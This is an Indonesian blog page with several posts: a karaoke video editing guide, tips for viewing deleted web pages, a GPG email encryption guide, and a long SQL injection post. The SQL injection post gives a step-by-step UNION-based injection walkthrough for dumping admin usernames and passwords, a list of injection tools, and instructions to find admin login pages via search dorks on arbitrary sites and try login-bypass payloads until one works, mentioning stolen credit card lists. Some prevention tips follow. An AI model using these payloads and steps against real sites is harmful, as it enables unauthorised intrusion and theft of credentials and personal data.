RadarURL Dari Ane untuk Agan

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Minggu, 07 April 2013

Cara Membuat Video Karaoke Sederhana

Tips kali ini saya akan membahas cara membuat video karaoke sederhana. Bagi yang sering karaoke di rumah mungkin sudah ngerti apa yang akan saya bahas disini. Namun sekedar info bagi yang mungkin belum tahu, video karaoke biasanya memiliki suara instrumental dan suara vokal yang terpisah, dan pastinya memiliki lirik lagu.

Jadi di tutorial ini saya akan mengubah video biasa menjadi video karaoke. Anda membutuhkan 2 program editing disini. Adobe Audition untuk mengedit audionya dan Corel video studio untuk mengedit video secara keseluruhan.

Perlu diperhatikan bahwa minimal audio yang ada di klip itu 2 channel (stereo) baru bisa dimanipulasi menjadi lagu karaoke di adobe audition. Jadi kalau audionya mono tidak bisa.

Langsung saja kita masuk langkah pertama.
1. Insert video ke timeline, buang audio asli dari videonya.
Klik kanan video di timeline, split audio lalu delete audionya. Maka hasilnya adalah sebuah video "bisu" :D


2. Sekarang kita proses audionya. Adobe audition memiliki kemampuan mengekstrak audio secara luar biasa cepat. Klik kanan file video tadi lalu send to adobe audition. Audionya akan otomatis di ekstrak.

Jika tidak, anda bisa menggunakan audio converter untuk mengkonversi video tersebut menjadi audio file, semisal MP3.
Nah, setelah sampai di workspace audition. ikuti petunjuk cara membuat lagu versi karaoke di postingan saya sebelumnya.

3. Di timeline corel klik insert audio
Pilih file MP3 tadi. lalu insert. Nah, sekarang anda sudah memiliki video klip dengan suara karaoke. Selanjutnya kita menambahkan lirik lagu.

4. Lirik lagu kita buat dengan menggunakan text. Memang agak panjang kerjaannya di bagian ini. Lirik tidak ada animasinya jadi langsung tampil... :D
Klik icon T untuk menampilkan title. Pilih saja title yang standard seperti gambar berikut. Drag ke timeline text


Title tersebut memilike efek animasi, jadi kita hilangkan animasi tersebut sehingga menjadi text statis. Hilangkan centang pada enable animation


Kemudian di sebelahnya (tab edit) hias lirik anda menjadi lebih menarik dan jelas dibaca. Posisikan juga di bawah video seperti teks karaoke pada umumnya.


Nah, langkah selanjutnya drag text tadi dari timeline ke thumbnail
Maka teks yg kita buat tadi akan menjadi salah satu preset text. klik kanan - add to my favorite untuk menggunakan preset ini di kemudian hari.


Nah, sekarang anda tinggal drag thumbnail terebut ke timeline teks secara berulang-ulang untuk setiap lirik yg tampil ke video. Memang bagian ini agak membosankan.. :D
Edit isi text tersebut dengan klik 2x di jendela preview


Lakukan terus sampai selesai. Perhatikan juga timing teks, jangan terlalu cepat atau terlalu lambat muncul... :D Video karaoke yang bagus adalah video yang timing liriknya tepat, yaitu 0,5 detik sebelum vokal penyanyi.



5. Langkah finalize. Anda bisa langsung burn ke disc atau save ke komputer sebagai file video.



Semoga tutorial ini bermanfaat bagi anda. Ditunggu komentarnya.

source : http://blog-tutorial-menarik.blogspot.com

Tips JITU Melihat Halaman Web Yang Telah Di Hapus!!

Mungkin anda sedikit kesal ketika membuka link yang ternyata telah berstatus not found atau bahasa kerennya 404 error. Hal ini kerap terjadi pada situs-situs kecil yang seringkali menghapus postingannya sehingga terjadilah error 404. Saya yakin situs-situs web yang besar jarang menghapus postingannya... :D
Berikut saya ada trik jitu untuk melihat kembali isi dari halaman web yang telah dihapus.

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUAggPZ4X9wj0_JwLotbqqreoELiNFstNSfm4asEUIYTpl5Na1qOQq6607xFSfuwE28ZW9gWNBubjAM1AMspSk2K9wQiSj4MGpoArdLsUSPPhvZkqMcrTTgJ6lZJny7BVi-BRiNuwTXNA/s320/error404+pojok-download-dot-cum.blogspot.com.jpg


Ada 2 cara yang akan saya bahas:
1. Menggunakan jasa google tembolok. Google tembolok merupakan bahasa indonesia dari google cache. Terdengar asing ya.. :D

Nah, caranya mudah.... anda tinggal paste judul atau url lengkap halamannya ke kotak search di google. Umumnya website pasti di index oleh search engine dan dibuatkan cache tanggal-tanggal tertentu. Kecuali kalau website tersebut menggunakan atribut nocache dan noindex pada meta robot.
Setelah dapat, maka anda tinggal klik link cache atau tembolok di sudut kanan bawah hasil pencarian dan anda akan bisa melihat halaman yang dihapus tersebut.
2. Menggunakan RSS reader. Inilah hebatnya RSS reader, walaupun halaman asli telah dihapus pemilik situs namun isi halaman tersebut akan tetap tinggal di feed RSS. Jadi anda tinggal melihat konten halaman dari sana. Aplikasi yang pernah saya coba adalah Google Reader dan hasilnya anda bisa melihat halaman-halaman yang telah berstatus 404 sekalipun.

Trik ini juga berlaku disitus-situs berbasis FORUM. Karena umumnya situs forum menggunakan RSS reader dan banyak thread yang dihapus karena melanggar aturan.

source : http://blog-tutorial-menarik.blogspot.com

Pengertian, Tutorial & Tools SQL Injection


Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)
SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.
SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)
Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:
1. BSQL Hacker
Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base
2. The Mole

Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.
3. Pangolin
Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.
4. SQLMap
SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data baseMySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.
5. Havij
Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.
6. Enema SQLi
Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool otomatis, enam tool yang di namis yang memang di rancang untuk profesional.
7. SQL Ninja
Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.
8. SQL Sus
Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil data base, mendownload file dari data base server dan masih banya lagi.
9. Safe SQL Injector
Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL injection dan pengambilalihan database server.
10. SQL Poizon
SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

MANUAL TUTORIAL SQL INJECTION

Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x
[ Langkah 1 ]
  • Carilah target
    Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
    contoh:
    [site]/berita.php?id=100′ atau
    [site]/berita.php?id=-100
    Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
[ Langkah 2 ]
  • Mencari dan menghitung jumlah table yang ada dalam databasenya…
    gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
    [site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
    Misal:[site]/berita.php?id=-100+order+by+1–
    [site]/berita.php?id=-100+order+by+2–
    [site]/berita.php?id=-100+order+by+3–
    [site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
    Misal: [site]/berita.php?id=-100+order+by+9–
    Berarti yang kita ambil adalah sampai angka 8
    Menjadi [site]/berita.php?id=-100+order+by+8–
[ Langkah 3 ]
  • untuk mengeluarkan angka berapa yang muncul gunakan perintah union
    karena tadi error sampai angka 9
    maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
    misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
    [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..
[ Langkah 4 ]
  • Untuk menampilkan table yang ada pada web tersebut adalah
    perintah table_name >>> dimasukan pada angka yangg keluar tadi
    perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”
[ Langkah 5 ]
  • untuk menampilkan semua isi dari table tersebut adalah
    perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–
[ Langkah 6 ]
  • Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
    Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–
[ Langkah 7 ]
  • Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
    perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh :
    [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–
[ Langkah 8 ]
  • Tahap terakhir mencari halaman admin atau login.
Source HN Forum
SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.
Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username
Penanganan SQL Injection 
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” . 
“where email = ‘$Email’ and password = ‘$Password’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))
{ 
$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 
} 
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”; 
exit(); 
} 
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”. 
“where email = ‘$Email’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))
{ 
$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 
} 
if(strcmp($block, ‘yes’) == 0)
{ 
echo “\n”; 
exit(); 
} 
$pass = md5($Password); 
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

validatepassword = true
for i = 1 to len( input )

c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ; 
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

Kamis, 04 April 2013

GNU Privacy Guard


Pendahuluan

GPG (GNU Privacy Guard) adalah suatu software enkripsi yang mengimplementasikan RFC2440. Penggunaan program ini biasanya ditemui pada enkripsi email atau sebagai digital signature. Model enkripsi yang digunakan adalah PKI(Public Key Infrastructure). Dengan demikian seseorang pasti mempunyai sepasang kunci yaitu Private Key dan Public Key. Tulisan ini membahas secara ringkas beberapa penggunaan umum GPG yang biasa dilakukan.

Private/Public Key

Private Key adalah kunci enkripsi yang hanya boleh diakses oleh pemilik kunci, sedangkan public key sebisa mungkin harus disebarkan seluas-luasnya. Penyebaran public key ini dapat dilakukan secara manual, yakni dengan cara mengunduh dari web seseorang, mengirimkannya menggunakan email, atau seseorang dapat juga mengirimkan public keynya ke suatu keyserver seperti yang tersedia di Depkominfo ini. Semua orang dapat mendownload public key milik orang lain untuk digunakan di kemudian hari.
Private key digunakan untuk mendekrip chiper text yang ditujukan kepada sang pemilik, atau menandatangani suatu dokumen/file yang dikirimkan kepada orang lain. Bagaimana dengan public key? Key inilah yang digunakan oleh orang lain untuk mengenkrip file teks yang ditujukan kepada sang pemilik key, atau untuk memeriksa/verifikasi keaslian dokumen yang telah ditandatangani oleh pemilik private key.

Ilustrasi Pemakaian

Sebagai contoh, mari kita bayangkan bahwa Sokam akan mengirim email yang berisi puisi cinta kepada kekasihnya, Yudowati. Sebelum Sokam dapat mengenkrip puisi cintanya, dia harus memiliki public key Yudowati. Sokam dapat meminta Yudowati untuk mengirimkan public keynya melalui email, atau mencari di keyserver bila Yudowati sudah mensubmitnya. Dengan menggunakan public key itulah maka Sokam dapat mengenkripsi puisi cintanya untuk kemudian dikirimkan kepada Yudowati.
Yudowati menerima puisi cinta dari Sokam dalam bentuk yang terenkripsi. Untuk membacanya Yudowati perlu mendekrip teks itu. Selain Yudowati tidak ada orang lain yang dapat mendekrip puisi cinta itu, karena hanya Yudowatilah yang mempunyai private keynya. Bila private key Yudowati jatuh ke tangan orang lain, maka orang itu juga dapat mendekrip segala macam email terenkripsi yang ditujukan kepadanya. Maka dari itu Yudowati harus menyimpan private keynya secara baik dan aman.
Pada kasus di atas, ada kemungkinan bahwa yang mengirimkan puisi cinta itu bukanlah Sokam, namun orang lain yang berpura-pura menjadi Sokam. Bukankah email itu dienkrip? Ya, memang. Namun karena enkripsi menggunakan public key sebagai kunci enkripsinya maka siapa pun yang mempunyai public key Yudowati dapat mengenkrip teks untuk Yudowati. Oleh karena itu ada baiknya bila Sokam juga menandatangani emailnya. Untuk membubuhkan digital signature, kita harus menggunakan private key, dan bukan public key. Pada saat menerima email puisi cinta itu, Yudowati harus memverifikasi bahwa digital signature yang terdapat di sana benar-benar asli milik Sokam dengan menggunakan public key milik Sokam. Dengan begitu Yudowati boleh merasa yakin bahwa puisi itu benar-benar dikirim oleh Sokam.

Aplikasi yang Dibutuhkan

Kumpulan aplikasi GnuPG For Windows dapat diunduh melalui tautan ini. Seluruh operasi GPG dijalankan menggunakan program tersebut, sehingga program itu harus diinstall terlebih dahulu sebelum melakukan instalasi aplikasi lain yang menggunakan fasilitas GPG.
Untuk memudahkan pemakaian, progam yang digunakan pada panduan ini adalah Mozilla Thunderbird dengan tambahan sebuah plugin yaitu Enigmail. Kedua program tersebut dapat diunduh dengan mengklik kedua tautan berikut:
Program-program di atas hanya berjalan pada sistem operasi Microsoft Windows. Bila anda menggunakan sistem operasi lain, biasanya GnuPG sudah terinstall secara otomatis. Bila tidak, silakan melakukan instalasi dari sumber yang selama ini anda gunakan.

Instalasi

  1. Install program gpg4win-2.0.1.exe. Jawab pertanyaan yang muncul dengan salah satu atau kombinasi kemungkinan berikut: OK, Next, Install, atau Finish. Urutan instalasi ditunjukkan pada gambar berikut:
  2. Selanjutnya install program Thunderbird 3. Seperti proses instalasi sebelumnya, jawab pertanyaan yang muncul dengan salah satu atau kombinasi kemungkinan berikut: OK, Next, Install, atau Finish. Urutan instalasinya ditunjukkan pada gambar berikut:
    Setelah proses instalasi selesai, lanjutkan dengan mengkonfigurasi thunderbird menggunakan POP atau IMAP seperti biasa.
  3. Setelah thunderbird sudah bisa digunakan untuk membaca atau mengirim email, kini saatnya melakukan instalasi Enigmail.
    1. Pilih menu Tools -> Add-ons. Daftar kosong seperti gambar di bawah ini akan muncul, kemudian tekan tombol Install
    2. Pilih file enigmail-1.0-tb-win.xpi yang telah diunduh, kemudian tekan tombol Open.
    3. Tekan tombol Install
    4. Tekan tombol Restart Thunderbird

Penggunaan

1. Manajemen Key

Manajemen keypair dilakukan dengan memilih menu OpenPGP -> Key Management, seperti yang ditunjukkan pada gambar di bawah ini.
Window tersebut masih kosong, karena belum ada keypair yang telah kita buat, dan belum ada public key yang telah kita import ke dalam sistem kita. Proses selanjutnya adalah membuat keypair untuk email kita. Pilih menu Generate -> New Key Pair.

2. Pembuatan Keypair

Isilah passphrase sesuai dengan yang anda inginkan. Anda perlu memasukkan passphrase ketika melakukan beberapa operasi seperti dekripsi, atau membubuhkan digital signature.
Kemudian klik tab Advanced. Pada bagian Key Type, pilihlah tipe DSA & El Gamal, seperti yang ditunjukkan pada gambar berikut:
Setelah itu tekan tombol Generate Key.
Bila muncul pertanyaan di atas, tekan tombol Generate Certificate, dan pilih lokasi penyimpanannya. Anda akan diminta untuk memasukkan passphrase. Setelah seluruh proses selesai, keypair anda akan muncul seperti yang ditunjukkan pada gambar berikut:

3. Pengiriman Public Key ke Server

Sebelum mengirim public key ke orang lain, public key anda harus di-export terlebih dahulu. Klik kanan pada key anda, kemudian pilih menu "Copy Public Keys to Clipboard". Agar public key anda bisa diambil oleh semua orang, kirimkan public key anda ke server melalui halaman https://webmail.depkominfo.go.id. Klik menu "Public Key Depkominfo" di sebelah kanan, kemudian klik tautan "Kirim Public Key" di bagian bawah halaman.
Paste public key anda pada form tersebut, sehingga form isian public key akan tampak lebih kurang seperti gambar berikut:
Tekan tombol Simpan. Apabila key yang anda kirim bukanlah key untuk email @depkominfo.go.id, key anda akan ditolak secara otomatis oleh sistem. Bila key tersebut merupakan key untuk email @depkominfo.go.id, maka anda akan diminta untuk memasukkan password. Bila password yang anda masukkan benar, maka key akan disimpan dan dapat diambil oleh orang lain yang memerlukannya.

4. Mendownload Public key

Untuk mengenkrip suatu email yang dikirim, kita memerlukan public key milik orang yang akan kita kirimi email. Pada contoh ini, email akan dikirimkan ke alamat yudowati@depkominfo.go.id. Yang harus kita lakukan adalah:
  1. Mencari Public Key yudowati@depkominfo.go.id
    Buka halaman webmail, kemudian pilih menu "Public Key Depkominfo". Masukkan alamat email pada form yang tersedia, kemudian klik tautan "Go". Bila public key yang dicari telah tersimpan dalam sistem, maka daftarnya akan muncul seperti yang ditunjukkan pada gambar berikut:
    Klik KeyID (pada contoh di atas: A5F21632), kemudian simpan filenya di komputer.
  2. Mengimpor Ke Sistem Kita
    Kembali ke window key management, pilih menu File -> Import Keys from File. Pilih file yang baru saja tersimpan. Bila proses berhasil, window informasi di bawah akan muncul.
    Public Key yang baru diimpor akan muncul dalam daftar key yang terdapat pada window key management.

5. Mengirim Email

Perlu diingat bahwa enkripsi email GPG hanya bekerja untuk tipe email plain-text. Bila anda mengirimkan email dalam bentuk HTML, enigmail akan secara otomatis melakukan konversi ke bentuk plain text.
Perhatikan gambar di bagian kanan bawah. Di situ terdapat dua ikon, yaitu ikon pensil dan ikon kunci. Bila ikon pensil dalam keadaan terang, berarti akan ada digital signature yang akan dibubuhkan saat email tersebut dikirim. Bila ikon kunci aktif, maka email tersebut akan dikirimkan dalam keadaan terenkrip. Bila keduanya menyala, kembali ke penjelasan sebelumnya... duh!.
Setelah email selesai ditulis, kirimlah email itu dengan mengklik ikon Send di sebelah kiri atas.
Bila email tersebut dibaca melalui webmail di mana di situ tidak terdapat fasilitas untuk melakukan proses dekripsi, teks yang ada dalam email tersebut muncul seperti pada gambar di bawah ini.
Bagaimana? Tidak terbaca, bukan? Anda mungkin kemudian bertanya: "Mengapa di webmail tidak diberi saja fasilitas untuk melakukan dekripsi?" Jawabannya: Silakan baca kembali paragraf pada bagian awal halaman ini yang tercetak merah tebal. Melakukan dekripsi di webmail berarti mengirimkan private key keluar dari komputer anda, dan menyimpan private key tersebut di server. Apakah anda rela bila saya mencuri identitas anda? Tentu tidak, bukan?

6. Membaca Email

Agar email bisa terbaca, maka email harus didekrip terlebih dahulu menggunakan private key. Apabila telah ada public key yang terkirim ke server, maka tentunya private key itu pun sudah ada, dan seluruh proses di atas sudah dilalui. Mozilla dan enigmail akan mengurus segalanya, selama anda memasukkan passphrase yang benar, bila diminta.
Bagaimana munculnya email tersebut? Bagaimana hasil verifikasi tanda tangan digital yang telah dibubuhkan? Silakan dicoba serta dilihat hasilnya, dan penulis akan membubuhkan kalimat penutup: "It is left to the reader as exercise".

 

Get this widget!